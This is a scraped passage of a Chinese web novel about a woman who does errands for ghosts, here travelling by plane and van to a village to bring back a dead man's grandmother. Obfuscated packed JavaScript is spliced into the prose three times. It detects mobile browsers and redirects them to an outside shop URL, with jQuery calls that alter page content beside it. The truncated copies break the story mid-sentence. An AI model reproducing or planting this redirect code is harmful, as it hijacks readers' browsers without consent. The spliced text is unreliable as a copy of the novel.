此刻,他仅存的听觉和视觉放大感知,树叶沙沙作响,秋风拂过耳畔,灯光从叶片的罅隙里漏泄下来,分割成一小块一小块的明暗交替,格外好看。 33. 病来如山倒 光怪陆离的梦,乱七八糟的碎片拼凑成一个四不像的怪物在张祎宁的脑子里踱来踱去,一晚被惊醒数次,结果就是和刘元詹一起在罗汉床上枯坐到天光。 “我喝咖啡了?喝浓茶了?受刺激了?压力太大?怎么突然失眠……”张祎宁很困,可她就是睡不着,闭上眼后只有排山倒海而来的奇怪梦境。 “出太阳了……”刘元詹向窗外远眺,看着太阳从不远处的高楼背后慢慢爬升,心里分外熨帖。他不需要睡眠,自是无从知晓张祎宁失眠的苦恼,只觉每日自己枯坐,而昨夜能有人一同分享这片光景,真好。 夜里是带有窸窣声响的静谧,有时是一两声狗吠,有时是汽车的嗡嗡发动,有时是墙内水管的哗啦阵阵,有时是邻家走动的脚步……声音随着时间的推移逐渐变多,鸡鸣报晓、楼下刷刷的扫地声、或轻或重的关门声,渐渐开始有人声的加入……刘元詹很想将这些好玩的事情和张祎宁一起分享,可她每日琐事缠身,难有片刻空闲。 “嗯,出太阳了,可怜的人又要上班了。”张祎宁头往旁边一栽,仰天长叹。 她在刘元詹不安眼神的目送下离开家,踏出楼栋后就感受到迎面而来的冷风,嘶,降温了,该不会是感冒吧?她裹紧风衣,快走了两步。 “小张早啊,上班去?” 张祎宁动作迟缓地转头致以问候,是观战大爷,大伙儿喊他“老张”,张祎宁就礼貌地称呼为“张爷爷”。 “张爷爷早,小派早。” 张爷爷的孙子小派顶着个西瓜头,甜甜笑道:“姐姐早上好!” “小张来,拿个鸡蛋,路上吃。”张爷爷将装有白煮蛋的塑料袋塞到她手上,张祎宁推辞:“张爷爷,我吃过早饭了。” 张爷爷是说一不二的性格,“鸡蛋不顶饱,小派他妈煮了一大篓,你拿着,饿了再吃,还热乎着。” 再推辞是浪费大家的时间,她索性接过,“谢谢张爷爷,也谢谢小派把鸡蛋让给姐姐~” 确实热乎着,张祎宁手握着鸡蛋,感觉身上也好受些了。 小小每天雷打不动地出现在沙堆旁,身上还穿着校服,是和小派一样的款式,只是一个是夏季款一个是秋冬季,他们应该是相近的岁数,都上一年级,但人各有命……思及此,张祎宁走了过去,招呼道:“小小早上好,今天的城堡建到哪一步啦?” 小小抬头,看见是穿着打扮一丝不苟的张祎宁,也笑着回话:“姐姐早!我今天要建一个动物园,里面有小马。” “好,你加油,姐姐下班了再来参观你的动物园。” 好事成双是天降大喜的祈愿,但人倒霉起来喝凉水都塞牙是生活常识。 张祎宁顶着浑噩的脑袋熬到下午六点,数着解放的分针针脚,临时收到加班的通知。不夸张地说,眼前的确黑了一阵。 当她披星戴月地走进小区时,沙堆旁已经没有了小小的身影,这不能算她失约,毕竟已经很惨了…… “我回来了……” 张祎宁趿拉着拖鞋,听到电视上还在播着《围棋少年》,但正方形的荧光照射之处不见刘元詹的踪影。 “糟糕!忘记了!” 这个点刘元詹应该是已经在1980taste门口等她了,但她今晚加班,身体也不舒服,决定直接回家休息,可是忘记跟刘元詹说了。 怎么就不能有个千里传音呢。 千里传音是有,只是传不到刘元詹那,她拿出千里传音的改良版——手机,拨通杜文新的电话。 “杜文新,帮我喊刘元詹回家吃饭。” 杜文新那边有交谈声,他提高嗓门问:“什么东西?他不在。” “门口呢吧,不然就对面,你出去看看。” “你俩又演什么双簧呢?” “我感冒,今晚就不过去了,他不知道,估计已经在店门口等我。” 交谈声变小,叮铃铃清脆的铃铛声响起后是繁华的闹市喧嚷,杜文新揶揄道:“看见你家走丢的小狗了,但你怎么敢打电话让打狗队的送你家小狗回家呢?” 张祎宁想骂他,但又不想在他身上浪费力气,没好气地说:“你们打狗队还抓哮天犬吗?咬不死你!” 她撂了电话。 杜文新的话勾起了张祎宁的回忆,前不久她还千防万防,刘元詹但凡独自踏足1980taste方圆五公里,她都警铃大作,而现在她竟然让杜文新在没有她的陪同下接触刘元詹。人心啊是肉长的,什么猫啊狗啊的时间久了也都能看顺眼。 刘元詹很喜欢每天等张祎宁的这段时间,从街头行至街尾,听着不太好懂的方言,看那些新奇的食物,路上有只小黑狗也是如此,穿梭在各个摊位捡漏地上的食物,吃饱了把肚皮一翻,靠在街沿呼呼大睡。他喜欢站在离1980taste最近的那盏路灯下,能被张祎宁一眼看见。 但今天等的时间过长了,飞蛾也变得格外恼人,他便绕着路灯柱打圈儿转。 是因何事耽搁了吗?又或是她独自一人往昨日那处去了?可万一等会儿她就来了呢? 刘元詹拿不准主意,他不想给张祎宁添麻烦,最好就安安静静地呆着,不要多说话,也别乱行动。 门开了,是杜文新,他正在通话,目光落在自己身上。俄而,他笑着挂断电话,朝自己招手。 就像有什么魔力,刘元詹不作他想,顺着杜文新的呼唤走去。 “张祎宁打电话让你回家,她今晚不来了。” 刘元詹乖巧应道:“好。” “诶,”杜文新叫住他,“你想不想和我聊会儿?” 他们面对面站着,表情淡淡的,就像熟稔的老友突然提起“诶,要不要再续个摊”一样。 “好。” “陪我买点吃的,店里有客人不方便说话。”杜文新径自往街心走去,没管刘元詹有没有跟上。 刘元詹是个闷棍,他知道,于是他主要承担了说话的职责。 “你是怎么找上张祎宁的?” “某天她经过公园就遇见了我,我听说天桥上新来了个掌簿,就找上了她。” “挺巧。” “老板,来份章鱼小丸子,给我拼个咖喱鱼蛋呗。” 杜文新在一家没有人光顾的摊位前驻足。点完餐后走到一旁,在招牌的掩映下继续跟刘元詹说话。 “你还记得多少以前的事?” “重要的都忘了。” “那不重要的呢?” 刘元詹笑而不语。既是不重要的,记不记得又有什么关系? 杜文新也不纠结于这个答案,转而另起话题:“你相信命运吗?” 命运。张祎宁也说过这个词,他们都相信命运。 他问出了那个问题:“什么是命运?” “就是命里有时终须有,命里无时莫强求。有的是劫,无的自是化劫的缘。” “老板,你的章鱼小丸子好了。打包吗?”摊主伸出脑袋,笑眯眯问道。 “不用,拿着吃。” 杜文新一手捧着纸盒,一手用竹签插起小丸子丢进嘴里,享受滚烫蔓延至整个口腔。 “我们总以为天无绝人之路,转个弯就能见光了,但可能是条笔直的路呢?” 刘元詹好奇地看着他手里的章鱼小丸子,不甚在意道:“有路就走。” “怕的就是把劫当成是缘。” 刘元詹莞尔一笑,“劫或缘都随意,都比空无一物好。” 杜文新仿佛看见了一个满鬓风霜的老人,他赶了很久很久的路,每见到一个人便问“吾行此途,竟向何处?”没有人回答他,因为大家都没见到过他所说的那条路。 杜文新释怀地笑:“这章鱼小丸子全是面粉,难吃,怪不得没人光顾。” “回去吧,耽误你半个小时,够张祎宁急上一急了。” “哦,叫她明晚来一趟,有活。” 刘元詹以最快的速度穿墙过桥,直奔回家。还是让杜文新失望了,张祎宁根本没急,她给自己泡了杯感冒药后倒头就睡。 这回比昨夜好许多,除开一晚上醒了几次,也算睡个囫囵觉。 恢复点精神,张祎宁打着哈欠推开卧室门,“回来啦?” “嗯。你今天感觉可好?” 她转转僵硬的脖子,“还行,比昨天好。” 张祎宁嘴上这么说,但刘元詹还是有些忧心,她垂眉耷眼的,没有精气神。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16498295|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “昨天我不在,杜文新有没有为难你?” “未曾,他还托我转告让你今天去一趟,有活。”他隐去和杜文新昨日闲话的事,因为在他的印象里,确是有一搭没一搭的闲话,毫无意义。 “哦哟,铁公鸡终于开窍了,行,今晚老样子。” 张祎宁打算明天再去找那个叫董昊的小孩,她的感冒没好,一步也不想瞎折腾。 例行公事般参观完小小新建到一半的动物园,又上了一天班,张祎宁觉得,她怕是病更重了。可是好不容易从杜文新那只铁公鸡屁股下摸到个蛋,她说什么都要爬过去看看是个什么蛋蛋。 “俺巴掌来也~”张祎宁强撑起精神,踏进1980taste,她得在客户面前展现最好的状态。 “人呢?不是,鬼呢?” 店内空荡荡,一只铁公鸡趴在窝里,没有食客,也没有客户。 “杜文新,我的活呢?” “等着。鬼又没有时间观念。” 张祎宁无奈,不知道自己这副病躯能不能撑到那只鬼来。 杜文新半晌没听着声,抬眼看就被吓了一跳,张祎宁双目涣散,失神地看着他。 有这么夸张吗?我的病容让他吓了这一大跳?张祎宁情不自禁伸手摸了摸两颊,也不发热,也不冒冷汗,怎么就这么难受呢? 杜文新厉声问道:“你这两天干嘛去了?弄成这副鬼样子。” “你对病人能不能温和点,上班上的。” “晚上呢?” 张祎宁跟着杜文新的引导,仔细回忆:“晚上?睡觉啊……这两天降温了,被子盖得很严实,可能是前天晚上着了风寒。” 他没停止追问:“前天晚上去哪了?” “没去哪啊,就回了趟天桥,看看熟人,买了书,骑了自行车,接了个单……” “什么单?” 张祎宁陷入沉默,杜文新对自己不感兴趣的事情一个眼色都不会给,现在又要追问她前天晚上接的单,打的什么主意? “我是不是说过,你可以自己私下接活,但要知会我。” 他好像真的生气了,或许这在组织里是件严肃的事,张祎宁没习惯性呛声,答道:“就在一条巷子里,有只老鬼,”她自觉不是很尊重,改口道,“老人,有个老人躺那好久了,说他腿断了走不动。” “他要你做什么?” “找人。” “找谁?” 杜文新问一句张祎宁就答一句,绝不多说:“一个叫董昊的。” “那鬼在哪?” 报备可以,但具体到这个地步,是不是有些越界?张祎宁的嘴比脑子更快反应,脱口而出:“不记得了,是刘元詹给我带的路,只有他认路。”她也不算骗人,没有刘元詹,她这个路痴是找不到的。 杜文新看了他俩一眼,叹口气。一人一鬼,说谎都不会说,满脸写着心虚。 他没再继续问下去,进了厨房,张祎宁如释重负,松弛下来后更觉头晕眼花。 不过片时,杜文新就出来了,身后跟着老金。老金端着一杯水递给她,温言道:“喝吧,喝了就不会再难受了。” 杜文新帮言道:“老金独门秘方,保管药到病除。” 张祎宁接过那杯液体,就是一杯白开水啊,她嗅了一下,无色无味,露出满脸的不信任:“凉白开?” 老金摇头:“是药。” 她真的很难受,如果这杯药是杜文新端来的,她会觉得是毒药,但是老金,老金不是这么荒唐的人,死马当活马医,她一口闷下。 ?就是凉白开啊!? 老金拿回水杯,说:“这药喝完会困,醒过来就好了。” 张祎宁不知这两人一唱一和是在干嘛,但还是找了角落的桌子坐下,对刘元詹耳语道:“我先睡会儿,有事你叫我。” “嗯,我在。” 虽然刘元詹什么都做不了,但有他在,她会安心。 她枕着胳膊,等待睡意袭来,又问道:“你今天想看点什么?” “不用,你安心睡,有事我叫你。” 刘元詹的眼睛像一泓深潭,瞬间将她吸了进去,整个身子都昏昏沉沉的。 34. 郭强的拜托 披萨,金黄的披萨,榴莲味的,边上烤得焦焦的,但冷了以后就变硬了,张祎宁不喜欢吃,只喜欢吃中间香甜的软软的榴莲果泥和面团。她吃了一块又一块,直到桌上只剩下残渣,那那些披萨边呢?也被她吃掉了吗?不,好像是有别人帮她吃掉了,他就坐在对面,他是谁?他说他最爱吃披萨边…… “祎宁,醒醒,醒醒——” “唔?”听到有人在叫自己,声音轻柔,张祎宁想醒过来,但那声音反而织成了柔软的床,她一躺上去就往里陷,这比席梦思还软啊?直到凭空中突然被推了一把,她突感失重,床变成了泡泡,她惊叫着摔下去。 “喂!醒了没!” “这睡得也太沉了吧。” 她奋力掀起沉重的眼皮,室内的灯光很柔和,但还是刺目,张祎宁迷迷糊糊地起来,一时意识不到自己身处何地。等眼睛上那层覆的隐形薄膜淡化后,她才看清面向自己的四张脸,都是男的。 “靠!”她条件反射地往后躲。 这一声震撼有力,杜文新和老金确认她醒转后就走开了。 剩下两只男鬼,一只的脸上是尴尬,一只面带忧色,刘元詹关切问道:“你好点了吗?” “啊……”张祎宁转了转脖子,活动了一下四肢,感受自己的状态,“欸?很正常,好像没事了。” 为此,她特意站起身蹦了两下,真是!一点难受的感觉都没有嘿! 张祎宁眼冒金光,兴奋道:“老金不会是大罗金仙转世吧,这也太神了!药到病除,一点不夸张。” 被误认为是大罗金仙的老金正准备回厨房,听到她的赞叹,淡漠回道:“只是凉白开。” “不!肯定是药,灵丹妙药!” 老金笑笑没说话。 “别贫了,好了就开始工作。”赤裸裸的剥削阶级发言。 她又有力气冲杜文新翻白眼了。 翻完白眼,张祎宁才看见刚刚被自己忽略的另一只鬼。他穿着件简单的长袖衬衫,下面套条牛仔裤,这脸看上去很年轻,感觉又是一位同龄人。 他看见张祎宁投来的目光,不甚自在,礼貌地打招呼:“你好,我叫郭强。” “你好,呃,可以叫我巴掌。”她指了指自己的手掌。 被自己的客户看到刚刚那个场面,张祎宁决心弥补,气定神闲地坐下,按部就班地搬出固定开场白:“你有什么心愿可以说出来,我尽力帮你完成,事成之后到地底下给我个五星好评就行。” “没有问题,我都懂的,不管有没有完成我都会给你好评的。” 郭强十分真诚,但他显然不如他说的那般懂,要是完不成,他也就走不了,好评如何来? 张祎宁看看手机,时间已经很晚了,他们必须速战速决。 “你说说看。” “我的心愿……说出来怕你们笑话,我这几天也遇见过一些鬼,听说过他们的故事,感觉像他们那种才能称得上‘执念’,我这个……我自己都没想到能因为这个念头留下来,我之前也遇到一个人,他和你们一样,自称‘掌簿’,我跟他说可以不用管我的,不想浪费大家时间,但他说必须要帮我完成,这是你们的职责,但是我这个确实有点麻烦,他没时间,就被转到你这来了,真是……真是要麻烦你了。” 张祎宁希望“横”的工作流程可以改进一下,被转手的单怎么说也应该有个基本情况介绍表吧,也省的同一件事要来来回回说几遍,合理的吧? “没关系,你直说就是了,我会看着办的。” 他点头如捣蒜,“好的好的。是这样的,我出了车祸,肇事者抓到了,要推进后面的事情,然后警察打电话给我爸,但我爸中风,是我奶接的,她说她要来看看,亲自接我回家。可是我奶这辈子都没出过村子,连县城都没进过,她只会走路。我去年过年托人给她带回去一辆小电驴,她也不敢骑,我不知道她要怎么过来,这里离我老家那么远,要走路、再坐车、坐飞机,她哪会坐飞机啊,可能也会晕车,本来身子骨就不好,有风湿……可我知道她很固执,她说来,想着法儿也会来的,所以,我想拜托你,能不能帮我去接她,我实在担心。” 他一边说一边偷瞄张祎宁的反应,最后补充道:“我有些积蓄,你和我奶的路费、花销都我出,行吗?” “不是钱的事……” 也不是说和钱无关,主要的问题是会有些麻烦,但张祎宁想到自己遇到的小小、刘元詹这些鬼,顿觉这种奔波劳顿根本算不上麻烦。 “你家里其他人呢?” “我妈早就去世了,自从我爸中风后要花很多钱治病,家里的活也都落在我奶一个人身上,早几年我奶要我念书,不准我去打工,但她一个人要赚出三份钱来,支撑不住,就只能找亲戚借,借了还不上,渐渐就不怎么来往了。我工作以后攒够了还他们的钱,不过生疏很多年了,即使还完钱也没再联系,而且我奶心气儿高,以前受过气,现在也还怄着。” 他一直唉声叹气,张祎宁也跟着苦恼,她苦恼于请假,也苦恼于“苦恼于请假”。 “邻居呢?找老家可靠的邻居陪着可以吗?等他们到了再把钱给你邻居报销了。” “我们老家都是种粮户,现在赶上秋收,还要种上冬小麦,人人恨不得三头六臂。我奶最多拜托人家帮忙照看一下我爸和家里的田……” 那看来真只有自己亲自去一趟了,但她仍不死心,问道:“最快什么时候过去啊?能等周末吗?” 郭强满脸为难,“这……警察昨天通知的我奶,今天把家里的事托付完,我估计明天,最迟后天,她都要出发了……” 今天才周二。张祎宁又一次体会到什么叫“鱼与熊掌不可得兼”。 接、不接、接、不接、接、不接、接…… “我接。” 除了徐淼淼,这是这个月出现的第一件有点眉目的单,她得想办法先保住一个月两个的KPI,只能请假了,实在不行申请一下远程办公。 郭强原本听张祎宁提了一个又一个替代方案,再看她紧皱的眉头,和前一个掌簿一模一样,他心里已经觉得没戏,难掩失落,可是张祎宁突然就答应了。 “你答应了?真的吗?太、太麻烦你了!谢谢、谢谢你!” “别谢了,你把你的、你奶奶的信息都告诉我,我好做准备,哦,先把联系方式给我吧,我得先跟你奶奶说一声,以什么身份呢?朋友?” 自己的请求被接受后,郭强就精神抖擞,他事无巨细地把所有的信息都告诉了张祎宁,包括社交账号密码和银行卡密码。 “……” 真是个实诚的小伙,但也太虎了,在场两个人呢,就公然报出自己的密码……张祎宁偷空觑了眼杜文新,见他没往这看。 记录完所有信息后,她又问道:“那你呢?你跟我去吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜文新真诚地提出建议:“你不接,我就转给那些有钱有闲的掌簿呗。” 如果杜文新真是这么想的,他打从一开始直接派给那些有钱有闲的掌簿不就好了,非要在她面前过眼一遍,真不知安的是好心还是坏心。 “接都接了。我一个要当阎王的,苍蝇腿也是肉啊。” 杜文新意有所指:“我见过的那些自称要当阎王的,接活都挑三拣四。” 张祎宁听着杜文新的话,一步一步走近吧台,眼疾手快地抢过桌面上那只梨,大咬一口,甘甜的汁水润泽了秋日里说了许多话后干涸的唇喉。从进店起她就看见了这只梨,但身体不舒服毫无胃口,后来又要处理郭强的事,现在重新看见它,张祎宁就止不住口舌生津。 梨被抢了,杜文新露出愠色,硬生生憋出三个字:“没洗的。” 这时,刘元詹冷不丁接上一句:“洗了的,你睡着的时候。” 杜文新嘴里像被塞进一只癞蛤蟆,憋了一肚子气想开口,但又张不开,怕发出来的只有“呱呱”声,惹人耻笑,气闷地从鼻子里冷哼一声。 张祎宁笑得前仰后合,给刘元詹竖大拇指。 刘元詹也太可爱了,竟让杜文新吃瘪了! 35. 带鬼坐飞机 事情远比张祎宁想象的要麻烦,因为她听不明白老太太说的话,浓重的口音和表达能力的欠缺让老太太说的话颠来倒去,老太太还以为她是要送郭强回家的民警,再三解释之下才勉强理解张祎宁是郭强的朋友,今天会到家里一趟,要在家里等着她。更多的事情电话里就说不清楚了,她只能先达成这个共识。 考虑到老太太的身体条件和张祎宁的自身情况,她想尽量在今天就完成往返,她反复计算路上要花的时间,如果坐最早的航班过去,应该能赶得及晚上那班回来。 她一路风驰电掣,接上郭强就往机场赶。 急归急,但在验证鬼是否能上飞机之前,她又有了一件好奇的事。 “跟着我,我们走安检门。” 刘元詹不理解,郭强也一心听她的安排,没有鬼问明明能直接穿墙而过的事情为什么非要跟着她排队走安检。 张祎宁的心砰砰直跳,眼看着他俩堂而皇之地过了安检而没有引发警报。 “哇噢~”她情不自禁低吟。 其实她还想试试行李安检仪,但要让他们躺在行李传送带上过去,似乎太堂皇,她只能痛惜地打消这个念头。 “你俩跟紧我上飞机,注意一下起飞前滑行以及起飞的时候你们的状态,如果你们没能一起飞那就回1980taste,记住了吗?” 刘元詹和郭强互相对视了一眼,三人一起严肃地点点头。 【十万个为什么鬼魂篇之鬼是否能上飞机】 目击证人:张祎宁 观测对象:刘元詹郭强 实验过程: 登机口、廊桥通过 进入机舱正常 滑行正常 起飞正常 实验结果:鬼能上飞机 张祎宁被惊讶地合不拢嘴,郭强也从一开始闭着眼睛屏住呼吸的状态放松下来,只有刘元詹,无知者无畏,他根本就没有紧张过,此刻只知道自己是飞在天上,好奇地俯身一个劲往张祎宁那侧的舷窗看,也不在乎是不是碰到别人。 张祎宁看着凑到自己面前的大脸,咬着牙将话从齿缝间挤出,压低声音警告他:“找个位置坐下或者站在中间,要是乱碰乱走一不小心掉下去,下辈子你都找不到回家的路了。” 她的震慑起到很大的作用,刘元詹再也不好奇窗外的景色,和郭强在机舱前半部分的空位上站着,规规矩矩,只是隔着半个机舱看向她的眼神里带上了幽怨。张祎宁眼不见为净,闭上眼睛补眠,有郭强看着他,她很放心。 三个小时还不够张祎宁做完一场梦,收起小桌板的提示音又响起,她吃力地睁开眼,刘元詹和郭强还站在原地。 郭强伸长脑袋向窗外望,穿过云层下的土地是他的故乡,以如此形态回来,是另一种意义上的魂归故里,可是他无来由地觉得忧伤,无尽的忧伤,它们滚滚而来却无论如何也填不满他的身体,他只知道自己忧伤,但感受不到忧伤,再也流不出泪水。 坐飞机只是第一步,接下来他们需要坐短途火车来到市里,再坐巴士去县城,坐公交到村子里。但郭强说去县城的巴士每天只有几趟,且没有时刻表,很难等,更别说往村里去的公交了,如果张祎宁想在今天之内往返,不如直接在市火车站坐私运面包车。 私运面包车,俗称“黑车”,张祎宁刚出火车站就被一号人围住,他们七嘴八舌地说着目的地,问她走不走,郭强小声提醒她:“可以找那个穿绿外套的,是邻村的人,安全些,一般是50块钱。” 张祎宁依言绕过一大群追在她屁股后面咬的鸭子,找到绿外套。 “女娃到夫伊县哇?” 绿外套一开口就是浓烈到呛人的旱烟味,她闭着气往后退了一步,“到土方村,多少钱?” “土方村?同乡哇,女娃面生得很哇。都是亲人,亲情价70了哇。” 碰到惦记她钱的人,她就可以立刻化身斗战胜佛,眉一横,质疑道:“70?唬我嘞?平时都50的,哥,我不找他们偏找你,就是知道是熟人照顾生意,你怎么还诓我?” 绿外套听这话,改成客客气气的笑容,凑近一步,低声说:“大家都开价7、80,那么多人盯着,我不好说低价钱的哇,是50,是50,你莫告诉别人了哇。” 张祎宁再次确认一遍:“50,到土方村?” “是哇是哇,莫再说了哇,上车。” 砍到满意的价钱,张祎宁笑着钻进了车里。座椅套都是烂的,露出了下面的海绵垫,车上还有奇怪的味道,脚臭味混合着泡面味,她急忙打开窗户,猛吸一口新鲜空气。 绿外套对她笑了笑,说道:“马上又有一班车要到,我们看看有没有同乡,路上还能说话解闷哇。” 张祎宁知道他们这种都是尽量多拉客再出发,但对方既然说马上就有人出来,她就没拒绝。 直到她把车上的怪味闻惯了,绿外套还没回来,她不耐烦地探出半个身子,问道:“还走吗?” 绿外套正拦着一个手拉行李箱的人,对方坚决地摇头拒绝,听到张祎宁的问话,绿外套才不死心地放弃阻拦,走了过来,“还没人哇,再等等,就拉你一个油费都赚不回来。” “我赶时间,真的赶时间!” “我知道哇,我家娃也赶着要钱吃饭的哇。”他想了想,又说道,“就拉你一个也行,要100哇。” 翻番?“100!?” 绿外套义正词严:“是哇,就算两个人的钱,别人我一个就收70的哇!” 张祎宁焦急地看向郭强,他因为自己推荐的人狮子大开口而羞愤地低下头。 “100就100,走!立刻马上!” 路费是郭强报销,又不是自己的100,但如果没办法在今天赶回去,请假扣掉的就真是她自己的钱了! 绿外套也爽快,张祎宁一应价他就把车门关上,笑嘻嘻地准备出发。 郭强说的从县城通向村里的路在张祎宁看来很难算作“一条路”,只能算是被走得多了压平出来的道,即使没有“晕车基因”,但感觉再晚一秒下车,她就会直接吐车里。绿外套又是个非常健谈的人,完全不把她以装睡代表的体面拒绝放在眼里,不得到她的回应不会罢休。 但她无法,只能继续和绿外套约定两个小时后再来村里接她去火车站,绿外套二话不说就答应了。 “郭强,你奶奶的身体能受得了这种颠簸吗?” 郭强也忧心忡忡:“不知道,她没坐过。” 张祎宁顺着郭强的指示七拐八拐,总算找到他的家。门虚掩着,一方院子里养着走地鸡,廊檐下晒着玉米和柿子,右边的墙边堆着有半面墙那么宽的旧纸皮,即使是废品,也被收拾得整整齐齐,分门别类地码好,院子的左侧是一方石磨盘,地上有水洒扫过的痕迹。 张祎宁轻轻敲了敲铁门,“你好?有人在家吗?” 无人应答。 她又提高分贝,手上也加重力道,“郭奶奶在家吗?” 依旧无声。 “是不在家吗?但是门没关。” 郭强说:“直接进吧,没关系的。” “你是没关系,我初次登门怎么行?这样,你进去看看你奶奶在不在。” “诶,行!”郭强一头扎了进去。 就在这时,隔壁一户有人走了出来,是位戴着草帽、皮肤黝黑、精瘦的大爷,他看见面生的张祎宁站在郭强家门口,用他的大嗓门喊道:“你哪个?做什么?” 张祎宁带着礼貌的笑,边走边回话:“爷爷好,我是郭强的朋友,来找郭奶奶的,我早上跟她通过电话了,今天要带她到庆林去。” 大爷紧绷的面孔展开,“强娃的朋友哇?他奶在地里收苞谷!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522564|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “三大爷……”郭强正好从里面出来,看见熟悉的亲人,叫出了声。 “正好带你去寻她。”三大爷挥挥手,快步向前走。 “强娃咋回事嘛?年纪轻轻的咋就……” 三大爷脚下生风,张祎宁边跑边跟,还得回话:“是车祸。” “车咋能撞死人哇?恁大个活人放眼前,就撞上去了?唉,你们这些城里人……” “富山娘人都吓晕过去,又醒过来,她是知道,她醒不过来富山也就没了哇。” “城里吃人的哇,那么多人去了都没回过来,唉,富山娘非要强娃往城里去,还去那么远的地方,要坐飞机去的哇!几年都回不来一趟,寄些钱回来,富山娘哪舍得用,不顶用的哇……不顶用……” 张祎宁他们静静地听着三大爷说话,没吭声。三大爷和硬实的土地打了半辈子的交道,五官也变成了冷硬的土地,卷着沙尘的风经年累月才在他的脸上刻出那些沟壑,五官长在他的脸上,却又好像不为他所有,他用尽全力调动面部肌肉,也只是撇撇嘴,越发板起面孔。生气是这样,开心是这样,难过也是这副面容。 他板着脸说出这些教训的话,但郭强听得出他的难过,忧伤又似河水漫涨过来。 “富山娘!女娃寻你!” 三大爷向着不远处放声大喊。那是一片不大不小的玉米地,近处的都从根部被砍掉,远处的还挺拔向上,一个小小的佝偻的身影手握镰刀,从张祎宁的视野里望去,那背影就像在一大片叶子上挥舞着似镰刀般的手臂的螳螂,渺小,容易被忽视。 张祎宁正找着可以下去的路,老太太就已经摆着手往回走,“你莫下,我来,我来!” 小小的身影逐渐清晰,是个和三大爷有着同样气质的老太太,像这片土地一样,宽广爽朗。 “郭奶奶,我早上和您通过电话。” 没有了手机通话电流的干扰,声音清晰地通过空气传到张祎宁耳朵里,她发现郭奶奶的话也不是那么难以辨认了:“强娃朋友哇?累到你咯。” “我没事的,郭奶奶你的东西收拾好了吗?可以出发吗?” 三大爷惊讶地问:“就走哇?” 郭奶奶脸上的皱纹都往中央的鼻子两翼凑,她也惊讶道:“今天走哇?……”她开始变得着急,语速变快,张祎宁又听不懂她在说什么了,只能向郭强求助。 郭强脸色很尴尬,支支吾吾地转述:“我奶说以为明天走,所以才趁今天收苞谷,而且她还没给我爸做饭……” 嘶……看来今天早上她和郭奶奶的沟通只有效了一半。 郭奶奶还没说完,郭强也就继续翻译:“她给你收拾好了今晚住的房间,但如果你要是特别着急就走,她现在可以马上回去收拾东西,总之不要给你添麻烦。” 张祎宁很郁闷,但又不想表现得太明显,郭强和郭奶奶是一类人,他们总把“麻烦你了”挂在嘴边,万事都以别人为先,你是很难拒绝这类人的请求的,因为不忍心。 她看了看郭奶奶黑黑的手套,那原先是副白棉手套,现在已经变得黢黑,食指和无名指的位置还有两个小洞,不知是不是被锐利的镰刀割坏了。玉米地已经收割了三分之二,满田的秸秆还等待处理,张祎宁轻叹,如果早上能再说得清楚些就不必这么为难了。 “明天走,郭奶奶,你先忙,我也来帮你。” 她一字一句说得缓慢,郭奶奶听懂了,露出朴实的笑容:“不收不收,你不收,脏得哇!我自己来,马上就好哇!”她一直推拒,但手上脏,时刻注意不弄脏张祎宁的衣服,只能晃着半边身子阻止张祎宁下地。 三大爷适时地出面:“娃听富山娘的话,这点她太阳落山前就能收完,你去家里坐坐,”又对郭奶奶说,“晚上到我家吃,有肉哇。” 张祎宁就被他们半推半赶地回到了乡道上。 36. 同一个月亮 张祎宁自认是个很没眼力见的人。 从小到大,她都不是讨人喜欢的类型,没有“乖巧懂事”的头衔,老师也不会注意到她,工作上更是只会犁地的老黄牛,“木讷”被贴心地以“文静”替代,她也乐于当隐形人,所以作为掌簿,和那些透明的鬼打交道,不知不觉变成了她的舒适区。 但最害怕的场面还是会发生,因为她是活生生的人。讨人喜欢的孩子在听到郭奶奶那么说以后,二话不说跳下地去,直接把自己的衣服弄脏,便可以顺理成章地帮郭奶奶分担点活了,郭奶奶也许会被吓一跳,但她会开心的,会喜欢上这么可爱又懂事的小孩。 但张祎宁不是,她诚惶诚恐地于心有愧,可她没法开口,没法做出行动。她害怕被别人看出自己笨拙的关心,她羞耻于展露爱,越是爱的人,她越想在对方面前当个隐形人。 于是,她逃之夭夭了。 不知走了多久,走到哪条道上,一片连着一片的房子都长一个样,可能是迷路了。她转过头想找郭强问问,才发现身边只有刘元詹,郭强早没了踪影。 刘元詹说:“他没跟来。” 郭强虽然帮不上奶奶任何的忙了,但抓紧相伴的每一刻,也是人之常情。 张祎宁这个路痴只能寄希望在刘元詹身上:“你还记得回去的路吗?” 他环视一周后也摸不着头绪:“来时并非这条路……” “没事,就这一条路,走着吧,实在不行就问人。” 这个时间段大概村里的人都在田间地头,家家户户关着门,他们在“鸡犬相闻”的小路上不知方向地径直朝前走。 “有人。”刘元詹突然说道。 张祎宁一直目视前方,没看到有人,闻言朝后看去,也不见人影,她疑惑地顺着刘元詹的视线追索,才发现他指的是什么。 不是人,是鬼。 周围的房子大多都是土房,零星夹着几间砖瓦房,就显得这间棚屋格外显眼,一只女鬼蹲在棚屋边上,怯生生地看向他们。 